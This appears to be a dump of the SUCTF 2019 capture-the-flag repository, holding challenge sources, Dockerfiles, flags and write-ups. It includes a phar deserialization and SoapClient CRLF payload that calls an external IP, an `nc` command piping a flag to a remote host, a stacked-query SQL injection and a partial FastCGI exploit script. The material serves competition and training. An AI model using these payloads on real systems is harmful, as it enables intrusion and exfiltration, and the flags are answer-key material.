48 | 49 | 要求`(sum % 2 == 0) && (func(sum) == -1412590079) && (func2(sum) == 305392417)` 50 | 51 | 如果不加第一个%2==0的条件,会有三个结果31415925 31415926 31415927 52 | 53 | 这样下来只有一个结果31415926 54 | 55 | int范围内只有这一个符合要求 56 | 57 | 也就是第三个输入 58 | 59 | 60 | 61 | 那么输入就形如`11111suctf-ACEG-31415926` 62 | 63 | 输出为 suctf{ACEG31415926} 64 | You win! -------------------------------------------------------------------------------- /Rev/rev/源代码/rev.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/rev/源代码/rev.cpp -------------------------------------------------------------------------------- /Rev/rev/源代码/编译.txt: -------------------------------------------------------------------------------- 1 | visual studio 2019 x64 release -------------------------------------------------------------------------------- /Rev/rev/题目附件/cpp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/rev/题目附件/cpp.exe -------------------------------------------------------------------------------- /Rev/rev/题目附件/cpp.exe.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/rev/题目附件/cpp.exe.zip -------------------------------------------------------------------------------- /Web/Upload Labs 2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phusion/baseimage:latest 2 | 3 | RUN apt-get update && apt-get install -y python-software-properties && add-apt-repository ppa:ondrej/php && apt-get update 4 | 5 | RUN apt-get install -y php5.6 php5.6-mbstring php5.6-curl php5.6-cli php5.6-mysql php5.6-soap libapache2-mod-php5.6 mariadb-server apache2 gcc netcat-traditional && \ 6 | apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* /var/www/html/* 7 | 8 | COPY src/php.ini /etc/php/5.6/cli/php.ini 9 | RUN mkdir -p /etc/service/apache2/ && \ 10 | printf "#!/bin/sh\n\nexec /usr/sbin/apachectl -D FOREGROUND\n" > /etc/service/apache2/run && \ 11 | mkdir -p /etc/service/mysql/ && \ 12 | printf "#!/bin/sh\n\nexec /usr/bin/mysqld_safe\n" > /etc/service/mysql/run && \ 13 | mkdir -p /var/run/mysqld/ && chown mysql:mysql /var/run/mysqld && \ 14 | chmod 700 /etc/service/mysql/run /etc/service/apache2/run 15 | 16 | COPY src/html /var/www/html 17 | COPY src/flag /flag 18 | COPY src/readflag.c /readflag.c 19 | RUN chmod 600 /flag && chmod 777 /var/www/html/upload 20 | 21 | RUN gcc /readflag.c -o /readflag && \ 22 | chmod +s /readflag 23 | 24 | EXPOSE 80 -------------------------------------------------------------------------------- /Web/Upload Labs 2/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Web/Upload Labs 2/README.md -------------------------------------------------------------------------------- /Web/Upload Labs 2/dist/admin.php: -------------------------------------------------------------------------------- 1 | ip = $ip; 21 | $this->port = $port; 22 | 23 | $this->clazz = $clazz; 24 | $this->func1 = $func1; 25 | $this->func2 = $func2; 26 | $this->func3 = $func3; 27 | $this->arg1 = $arg1; 28 | $this->arg2 = $arg2; 29 | $this->arg3 = $arg3; 30 | } 31 | 32 | function check(){ 33 | 34 | $reflect = new ReflectionClass($this->clazz); 35 | $this->instance = $reflect->newInstanceArgs(); 36 | 37 | $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); 38 | $reflectionMethod->invoke($this->instance, $this->arg1); 39 | 40 | $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); 41 | $reflectionMethod->invoke($this->instance, $this->arg2); 42 | 43 | $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); 44 | $reflectionMethod->invoke($this->instance, $this->arg3); 45 | } 46 | 47 | function __destruct(){ 48 | getFlag($this->ip, $this->port); 49 | //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag 50 | } 51 | } 52 | 53 | if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ 54 | if(isset($_POST['admin'])){ 55 | 56 | $ip = $_POST['ip']; //你用来获取flag的服务器ip 57 | $port = $_POST['port']; //你用来获取flag的服务器端口 58 | 59 | $clazz = $_POST['clazz']; 60 | $func1 = $_POST['func1']; 61 | $func2 = $_POST['func2']; 62 | $func3 = $_POST['func3']; 63 | $arg1 = $_POST['arg1']; 64 | $arg2 = $_POST['arg2']; 65 | $arg2 = $_POST['arg3']; 66 | $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); 67 | $admin->check(); 68 | } 69 | } 70 | else { 71 | echo "You r not admin!"; 72 | } 73 | -------------------------------------------------------------------------------- /Web/Upload Labs 2/dist/class.php: -------------------------------------------------------------------------------- 1 | file_name = $file_name; 12 | } 13 | 14 | function __wakeup(){ 15 | $class = new ReflectionClass($this->func); 16 | $a = $class->newInstanceArgs($this->file_name); 17 | $a->check(); 18 | } 19 | 20 | function getMIME(){ 21 | $finfo = finfo_open(FILEINFO_MIME_TYPE); 22 | $this->type = finfo_file($finfo, $this->file_name); 23 | finfo_close($finfo); 24 | } 25 | 26 | function __toString(){ 27 | return $this->type; 28 | } 29 | 30 | } 31 | 32 | class Check{ 33 | 34 | public $file_name; 35 | 36 | function __construct($file_name){ 37 | $this->file_name = $file_name; 38 | } 39 | 40 | function check(){ 41 | $data = file_get_contents($this->file_name); 42 | if (mb_strpos($data, " 2 | 3 | 4 | 5 | 6 | 7 | 8 | Upload Labs 2 9 | 10 | 11 | 12 |

Upload Labs 2

13 |
14 |

假装有一个很酷很酷的前端,有一个很漂亮很漂亮的前端妹子

15 | 去看看你自己到底要做了个啥!!! 16 |
17 | 18 |
-------------我是华丽的分割线----------------
19 |
20 | 21 |
22 | 23 |
24 | 25 | 26 | 27 | 28 | getMIME(); 38 | echo "

Your file type is '$file'

"; 39 | } 40 | } 41 | 42 | 43 | ?> -------------------------------------------------------------------------------- /Web/Upload Labs 2/dist/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Upload Labs 2 9 | 10 | 11 | 12 |

Upload Labs 2

13 |
14 |

假装有一个很酷很酷的前端,有一个很漂亮很漂亮的前端妹子

15 | 去看看你自己到底传了个啥!!! 16 |
17 | 18 |
-------------我是华丽的分割线----------------
19 |
20 | 21 |
22 | 23 |
24 | 25 | 26 | 27 | 28 | check(); 50 | if ($_FILES["file"]["error"] > 0) { 51 | echo "错误:: " . $_FILES["file"]["error"] . "
"; 52 | die(); 53 | } else { 54 | move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); 55 | echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; 56 | } 57 | } else { 58 | echo "非法的文件格式"; 59 | } 60 | 61 | } 62 | -------------------------------------------------------------------------------- /Web/Upload Labs 2/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | phar: 4 | image: phar 5 | restart: always 6 | build: 7 | context: . 8 | dockerfile: ./Dockerfile 9 | ports: 10 | - "9025:80" -------------------------------------------------------------------------------- /Web/Upload Labs 2/src/flag: -------------------------------------------------------------------------------- 1 | SUCTF{Ph4R'5_1nTeresT1n5} -------------------------------------------------------------------------------- /Web/Upload Labs 2/src/html/admin.php: -------------------------------------------------------------------------------- 1 | ip = $ip; 21 | $this->port = $port; 22 | 23 | $this->clazz = $clazz; 24 | $this->func1 = $func1; 25 | $this->func2 = $func2; 26 | $this->func3 = $func3; 27 | $this->arg1 = $arg1; 28 | $this->arg2 = $arg2; 29 | $this->arg3 = $arg3; 30 | } 31 | 32 | function check(){ 33 | 34 | $reflect = new ReflectionClass($this->clazz); 35 | $this->instance = $reflect->newInstanceArgs(); 36 | 37 | $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); 38 | $reflectionMethod->invoke($this->instance, $this->arg1); 39 | 40 | $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); 41 | $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]); 42 | 43 | $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); 44 | $reflectionMethod->invoke($this->instance, $this->arg3); 45 | } 46 | 47 | function __wakeup(){ 48 | system("/readflag | nc $this->ip $this->port"); 49 | } 50 | } 51 | 52 | if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ 53 | if(isset($_POST['admin'])){ 54 | $ip = $_POST['ip']; 55 | $port = $_POST['port']; 56 | 57 | $clazz = $_POST['clazz']; 58 | $func1 = $_POST['func1']; 59 | $func2 = $_POST['func2']; 60 | $func3 = $_POST['func3']; 61 | $arg1 = $_POST['arg1']; 62 | $arg2 = $_POST['arg2']; 63 | $arg2 = $_POST['arg3']; 64 | $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); 65 | $admin->check(); 66 | } 67 | } 68 | else { 69 | echo "You r not admin!"; 70 | } 71 | -------------------------------------------------------------------------------- /Web/Upload Labs 2/src/html/class.php: -------------------------------------------------------------------------------- 1 | file_name = $file_name; 12 | } 13 | 14 | function __wakeup(){ 15 | $class = new ReflectionClass($this->func); 16 | $a = $class->newInstanceArgs($this->file_name); 17 | $a->check(); 18 | } 19 | 20 | function getMIME(){ 21 | $finfo = finfo_open(FILEINFO_MIME_TYPE); 22 | $this->type = finfo_file($finfo, $this->file_name); 23 | finfo_close($finfo); 24 | } 25 | 26 | function __toString(){ 27 | return $this->type; 28 | } 29 | 30 | } 31 | 32 | class Check{ 33 | 34 | public $file_name; 35 | 36 | function __construct($file_name){ 37 | $this->file_name = $file_name; 38 | } 39 | 40 | function check(){ 41 | $data = file_get_contents($this->file_name); 42 | if (mb_strpos($data, " 2 | 3 | 4 | 5 | 6 | 7 | 8 | Upload Labs 2 9 | 10 | 11 | 12 |

Upload Labs 2

13 |
14 |

假装有一个很酷很酷的前端,有一个很漂亮很漂亮的前端妹子

15 | 去看看你自己到底要做了个啥!!! 16 |
17 | 18 |
-------------我是华丽的分割线----------------
19 |
20 | 21 |
22 | 23 |
24 | 25 | 26 | 27 | 28 | getMIME(); 38 | echo "

Your file type is '$file'

"; 39 | } 40 | } 41 | 42 | 43 | ?> -------------------------------------------------------------------------------- /Web/Upload Labs 2/src/html/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Upload Labs 2 9 | 10 | 11 | 12 |

Upload Labs 2

13 |
14 |

假装有一个很酷很酷的前端,有一个很漂亮很漂亮的前端妹子

15 | 去看看你自己到底传了个啥!!! 16 |
17 | 18 |
-------------我是华丽的分割线----------------
19 |
20 | 21 |
22 | 23 |
24 | 25 | 26 | 27 | 28 | check(); 50 | if ($_FILES["file"]["error"] > 0) { 51 | echo "错误:: " . $_FILES["file"]["error"] . "
"; 52 | die(); 53 | } else { 54 | move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); 55 | echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; 56 | } 57 | } else { 58 | echo "非法的文件格式"; 59 | } 60 | 61 | } 62 | -------------------------------------------------------------------------------- /Web/Upload Labs 2/src/readflag.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void main() { 4 | seteuid(0); 5 | setegid(0); 6 | 7 | setuid(0); 8 | setgid(0); 9 | 10 | system("/bin/cat /flag"); 11 | } -------------------------------------------------------------------------------- /Web/Upload Labs 2/writeup/1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Web/Upload Labs 2/writeup/1.gif -------------------------------------------------------------------------------- /Web/Upload Labs 2/writeup/README.md: -------------------------------------------------------------------------------- 1 | 通过 phar.php 生成 1.gif,通过上传页面上传得到路径。 2 | 记录路径为 3 | 4 | upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif 5 | 6 | 在 rogue mysql 服务器上读取文件的位置使用 phar 协议读取 7 | 8 | phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif 9 | 10 | 去 func.php 提交 11 | php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif 12 | 13 | 就可以在自己服务器监听的端口收到 flag 了。 14 | 15 | 主要是 phar soap client crlf 那里 16 | ```php 17 | $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015'; 18 | ``` 19 | 20 | ip & port 两个参数是用来获取 flag 的 21 | 22 | -------------------------------------------------------------------------------- /Web/Upload Labs 2/writeup/phar.php: -------------------------------------------------------------------------------- 1 | file_name = $file_name; 10 | } 11 | } 12 | 13 | 14 | class Ad{ 15 | 16 | public $clazz; 17 | public $func1; 18 | public $func2; 19 | public $instance; 20 | public $arg1; 21 | public $arg2; 22 | // $reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect'); 23 | // echo $reflectionMethod->invoke($sql, '106.14.153.173','root','123456','test','3306'); 24 | 25 | // $reflectionMethod = new ReflectionMethod('Mysqli', 'query'); 26 | // echo $reflectionMethod->invoke($sql, 'select 1'); 27 | } 28 | 29 | $target = 'http://127.0.0.1/admin.php'; 30 | // $target = "http://106.14.153.173:2015"; 31 | $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015'; 32 | $headers = array( 33 | 'X-Forwarded-For: 127.0.0.1', 34 | ); 35 | // $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab")); 36 | 37 | $arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab")); 38 | 39 | $phar = new Phar("1.phar"); //后缀名必须为phar 40 | $phar->startBuffering(); 41 | // setStub("GIF89a" . ""); //设置stub 43 | $o = new File($arr); 44 | $phar->setMetadata($o); //将自定义的meta-data存入manifest 45 | $phar->addFromString("test.txt", "test"); 46 | //签名自动计算 47 | $phar->stopBuffering(); 48 | rename("1.phar", "1.gif"); 49 | ?> -------------------------------------------------------------------------------- /Web/checkIn/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM webdevops/php-nginx:5.6 2 | 3 | RUN chown www-data:www-data /app/* -R 4 | 5 | COPY src/html /app 6 | 7 | COPY src/flag /flag 8 | COPY src/clean.sh /clean.sh 9 | 10 | RUN chmod 0700 /clean.sh 11 | 12 | RUN echo "*/10 * * * * root bash /clean.sh">>/etc/cron.d/php && \ 13 | chmod 0644 /etc/cron.d/php 14 | 15 | EXPOSE 80 -------------------------------------------------------------------------------- /Web/checkIn/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | checkin: 4 | image: checkin 5 | restart: always 6 | build: 7 | context: . 8 | dockerfile: ./Dockerfile 9 | ports: 10 | - "9021:80" -------------------------------------------------------------------------------- /Web/checkIn/src/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rm -rf /var/lib/php/sessions/* 3 | rm -rf /app/uploads/* 4 | -------------------------------------------------------------------------------- /Web/checkIn/src/default: -------------------------------------------------------------------------------- 1 | ## 2 | # You should look at the following URL's in order to grasp a solid understanding 3 | # of Nginx configuration files in order to fully unleash the power of Nginx. 4 | # https://www.nginx.com/resources/wiki/start/ 5 | # https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/ 6 | # https://wiki.debian.org/Nginx/DirectoryStructure 7 | # 8 | # In most cases, administrators will remove this file from sites-enabled/ and 9 | # leave it as reference inside of sites-available where it will continue to be 10 | # updated by the nginx packaging team. 11 | # 12 | # This file will automatically load configuration files provided by other 13 | # applications, such as Drupal or Wordpress. These applications will be made 14 | # available underneath a path with that package name, such as /drupal8. 15 | # 16 | # Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples. 17 | ## 18 | 19 | # Default server configuration 20 | # 21 | server { 22 | listen 80 default_server; 23 | listen [::]:80 default_server; 24 | 25 | # SSL configuration 26 | # 27 | # listen 443 ssl default_server; 28 | # listen [::]:443 ssl default_server; 29 | # 30 | # Note: You should disable gzip for SSL traffic. 31 | # See: https://bugs.debian.org/773332 32 | # 33 | # Read up on ssl_ciphers to ensure a secure configuration. 34 | # See: https://bugs.debian.org/765782 35 | # 36 | # Self signed certs generated by the ssl-cert package 37 | # Don't use them in a production server! 38 | # 39 | # include snippets/snakeoil.conf; 40 | 41 | root /var/www/html; 42 | 43 | # Add index.php to the list if you are using PHP 44 | index index.html index.htm index.nginx-debian.html; 45 | 46 | server_name _; 47 | 48 | location / { 49 | # First attempt to serve request as file, then 50 | # as directory, then fall back to displaying a 404. 51 | try_files $uri $uri/ =404; 52 | } 53 | 54 | # pass PHP scripts to FastCGI server 55 | # 56 | location ~ \.php$ { 57 | include snippets/fastcgi-php.conf; 58 | # 59 | # # With php-fpm (or other unix sockets): 60 | fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 61 | # # With php-cgi (or other tcp sockets): 62 | # fastcgi_pass 127.0.0.1:9000; 63 | } 64 | 65 | # deny access to .htaccess files, if Apache's document root 66 | # concurs with nginx's one 67 | # 68 | #location ~ /\.ht { 69 | # deny all; 70 | #} 71 | } 72 | 73 | 74 | # Virtual Host configuration for example.com 75 | # 76 | # You can move that to a different file under sites-available/ and symlink that 77 | # to sites-enabled/ to enable it. 78 | # 79 | #server { 80 | # listen 80; 81 | # listen [::]:80; 82 | # 83 | # server_name example.com; 84 | # 85 | # root /var/www/example.com; 86 | # index index.html; 87 | # 88 | # location / { 89 | # try_files $uri $uri/ =404; 90 | # } 91 | #} 92 | -------------------------------------------------------------------------------- /Web/checkIn/src/flag: -------------------------------------------------------------------------------- 1 | SUCTF{U5er_1n1_01d_TR1ck} -------------------------------------------------------------------------------- /Web/checkIn/src/html/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Upload Labs 9 | 10 | 11 | 12 |

Upload Labs

13 |
14 | 15 |
16 | 17 |
18 | 19 | 20 | 21 | 22 | '; 52 | echo 'Your files :
'; 53 | var_dump(scandir($userdir)); 54 | } 55 | -------------------------------------------------------------------------------- /Web/checkIn/writeup/README.md: -------------------------------------------------------------------------------- 1 | .user.ini -------------------------------------------------------------------------------- /Web/easy_sql/.idea/SUCTF3.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Web/easy_sql/.idea/dictionaries/meizj.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Web/easy_sql/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Web/easy_sql/.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | too long 94 | Detect 95 | 96 | 97 | 98 | 108 | 109 | 110 | 111 | 112 | true 113 | DEFINITION_ORDER 114 | 115 | 116 | 117 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | AngularJS 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 42 | 43 | 44 | 45 | 46 | 47 | 40){ 57 | die("Too long."); 58 | } 59 | $sql = "select ".$post['query']."||flag from Flag"; 60 | mysqli_multi_query($MysqlLink,$sql); 61 | do{ 62 | if($res = mysqli_store_result($MysqlLink)){ 63 | while($row = mysqli_fetch_row($res)){ 64 | print_r($row); 65 | } 66 | } 67 | }while(@mysqli_next_result($MysqlLink)); 68 | 69 | } 70 | 71 | ?> 72 | -------------------------------------------------------------------------------- /Web/easy_sql/readme.md: -------------------------------------------------------------------------------- 1 | # 题目名称 2 | 3 | Easy_SQL 4 | 5 | # 题目类型 6 | 7 | Web 8 | 9 | # Flag 10 | 11 | ``` 12 | SUCTF{SUCTF_baby_sql_chall_120993n810h3} 13 | ``` 14 | 15 | # Writeup 16 | 17 | ``` 18 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 19 | ``` 20 | 21 | 22 | # 部署方式 23 | 24 | > docker-compose up -d 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /Web/easy_sql/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | chown www-data:www-data /app -R 3 | 4 | if [ "$ALLOW_OVERRIDE" = "**False**" ]; then 5 | unset ALLOW_OVERRIDE 6 | else 7 | sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf 8 | a2enmod rewrite 9 | fi 10 | 11 | # initialize database 12 | mysqld_safe --skip-grant-tables& 13 | sleep 5 14 | ## change root password 15 | mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('gaycnebkak459v') WHERE user='root';FLUSH PRIVILEGES;" 16 | ## restart mysql 17 | service mysql restart 18 | ## execute sql file 19 | 20 | 21 | mysql -uroot -pgaycnebkak459v < /tmp/sql.sql 22 | 23 | rm -rf /tmp/* 24 | 25 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/cli/php.ini 26 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/apache2/php.ini 27 | 28 | cd /etc/php5/apache2/conf.d/ 29 | rm 20-xdebug.ini 30 | rm 20-memcached.ini 31 | rm 20-memcache.ini 32 | 33 | rm -r /var/www/phpinfo 34 | 35 | source /etc/apache2/envvars 36 | tail -F /var/log/apache2/* & 37 | exec apache2 -D FOREGROUND 38 | service apache2 start 39 | 40 | chmod -R 755 /app 41 | rm /app/logo.png 42 | apt-get install -y vim 43 | 44 | -------------------------------------------------------------------------------- /Web/easy_sql/sql.sql: -------------------------------------------------------------------------------- 1 | 2 | create database CTF; 3 | use CTF; 4 | -- phpMyAdmin SQL Dump 5 | -- version 4.7.3 6 | -- https://www.phpmyadmin.net/ 7 | -- 8 | -- Host: localhost:3306 9 | -- Generation Time: Oct 02, 2018 at 03:18 PM 10 | -- Server version: 5.6.35 11 | -- PHP Version: 7.0.22 12 | 13 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 14 | SET time_zone = "+00:00"; 15 | 16 | -- 17 | -- Database: `SUCTF` 18 | -- 19 | 20 | -- -------------------------------------------------------- 21 | 22 | -- 23 | -- Table structure for table `Flag` 24 | -- 25 | 26 | CREATE TABLE `Flag` ( 27 | `Flag` varchar(50) DEFAULT NULL 28 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 29 | 30 | -- 31 | -- Dumping data for table `Flag` 32 | -- 33 | 34 | INSERT INTO `Flag` (`Flag`) VALUES 35 | ('SUCTF{SUCTF_baby_sql_chall_120993n810h3}'); 36 | 37 | -------------------------------------------------------------------------------- /Web/easyweb/challenge.yaml: -------------------------------------------------------------------------------- 1 | # Challenge configuration 2 | name: EasyPHP 3 | type: web 4 | value: 1000 5 | description: > 6 | php is great! 7 | flag: suctf{Undefined_constant_With_htupload_fpmbypass} 8 | hints: 9 | - Use of undefined constant! 10 | image: true 11 | -------------------------------------------------------------------------------- /Web/easyweb/exp/exp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import random 3 | import argparse 4 | import sys 5 | import base64 6 | from io import BytesIO 7 | 8 | # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client 9 | 10 | PY2 = True if sys.version_info.major == 2 else False 11 | 12 | 13 | def bchr(i): 14 | if PY2: 15 | return force_bytes(chr(i)) 16 | else: 17 | return bytes([i]) 18 | 19 | def bord(c): 20 | if isinstance(c, int): 21 | return c 22 | else: 23 | return ord(c) 24 | 25 | def force_bytes(s): 26 | if isinstance(s, bytes): 27 | return s 28 | else: 29 | return s.encode('utf-8', 'strict') 30 | 31 | def force_text(s): 32 | if issubclass(type(s), str): 33 | return s 34 | if isinstance(s, bytes): 35 | s = str(s, 'utf-8', 'strict') 36 | else: 37 | s = str(s) 38 | return s 39 | 40 | 41 | class FastCGIClient: 42 | """A Fast-CGI Client for Python""" 43 | 44 | # private 45 | __FCGI_VERSION = 1 46 | 47 | __FCGI_ROLE_RESPONDER = 1 48 | __FCGI_ROLE_AUTHORIZER = 2 49 | __FCGI_ROLE_FILTER = 3 50 | 51 | __FCGI_TYPE_BEGIN = 1 52 | __FCGI_TYPE_ABORT = 2 53 | __FCGI_TYPE_END = 3 54 | __FCGI_TYPE_PARAMS = 4 55 | __FCGI_TYPE_STDIN = 5 56 | __FCGI_TYPE_STDOUT = 6 57 | __FCGI_TYPE_STDERR = 7 58 | __FCGI_TYPE_DATA = 8 59 | __FCGI_TYPE_GETVALUES = 9 60 | __FCGI_TYPE_GETVALUES_RESULT = 10 61 | __FCGI_TYPE_UNKOWNTYPE = 11 62 | 63 | __FCGI_HEADER_SIZE = 8 64 | 65 | # request state 66 | FCGI_STATE_SEND = 1 67 | FCGI_STATE_ERROR = 2 68 | FCGI_STATE_SUCCESS = 3 69 | 70 | def __init__(self, host, port, timeout, keepalive): 71 | self.host = host 72 | self.port = port 73 | self.timeout = timeout 74 | if keepalive: 75 | self.keepalive = 1 76 | else: 77 | self.keepalive = 0 78 | self.sock = None 79 | self.requests = dict() 80 | 81 | def __connect(self): 82 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 83 | self.sock.settimeout(self.timeout) 84 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 85 | # if self.keepalive: 86 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) 87 | # else: 88 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) 89 | try: 90 | self.sock.connect((self.host, int(self.port))) 91 | except socket.error as msg: 92 | self.sock.close() 93 | self.sock = None 94 | print(repr(msg)) 95 | return False 96 | return True 97 | 98 | def __encodeFastCGIRecord(self, fcgi_type, content, requestid): 99 | length = len(content) 100 | buf = bchr(FastCGIClient.__FCGI_VERSION) \ 101 | + bchr(fcgi_type) \ 102 | + bchr((requestid >> 8) & 0xFF) \ 103 | + bchr(requestid & 0xFF) \ 104 | + bchr((length >> 8) & 0xFF) \ 105 | + bchr(length & 0xFF) \ 106 | + bchr(0) \ 107 | + bchr(0) \ 108 | + content 109 | return buf 110 | 111 | def __encodeNameValueParams(self, name, value): 112 | nLen = len(name) 113 | vLen = len(value) 114 | record = b'' 115 | if nLen < 128: 116 | record += bchr(nLen) 117 | else: 118 | record += bchr((nLen >> 24) | 0x80) \ 119 | + bchr((nLen >> 16) & 0xFF) \ 120 | + bchr((nLen >> 8) & 0xFF) \ 121 | + bchr(nLen & 0xFF) 122 | if vLen < 128: 123 | record += bchr(vLen) 124 | else: 125 | record += bchr((vLen >> 24) | 0x80) \ 126 | + bchr((vLen >> 16) & 0xFF) \ 127 | + bchr((vLen >> 8) & 0xFF) \ 128 | + bchr(vLen & 0xFF) 129 | return record + name + value 130 | 131 | def __decodeFastCGIHeader(self, stream): 132 | header = dict() 133 | header['version'] = bord(stream[0]) 134 | header['type'] = bord(stream[1]) 135 | header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) 136 | header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) 137 | header['paddingLength'] = bord(stream[6]) 138 | header['reserved'] = bord(stream[7]) 139 | return header 140 | 141 | def __decodeFastCGIRecord(self, buffer): 142 | header = buffer.read(int(self.__FCGI_HEADER_SIZE)) 143 | 144 | if not header: 145 | return False 146 | else: 147 | record = self.__decodeFastCGIHeader(header) 148 | record['content'] = b'' 149 | 150 | if 'contentLength' in record.keys(): 151 | contentLength = int(record['contentLength']) 152 | record['content'] += buffer.read(contentLength) 153 | if 'paddingLength' in record.keys(): 154 | skiped = buffer.read(int(record['paddingLength'])) 155 | return record 156 | 157 | def request(self, nameValuePairs={}, post=''): 158 | #if not self.__connect(): 159 | # print('connect failure! please check your fasctcgi-server !!') 160 | # return 161 | 162 | requestId = random.randint(1, (1 << 16) - 1) 163 | self.requests[requestId] = dict() 164 | request = b"" 165 | beginFCGIRecordContent = bchr(0) \ 166 | + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ 167 | + bchr(self.keepalive) \ 168 | + bchr(0) * 5 169 | request += 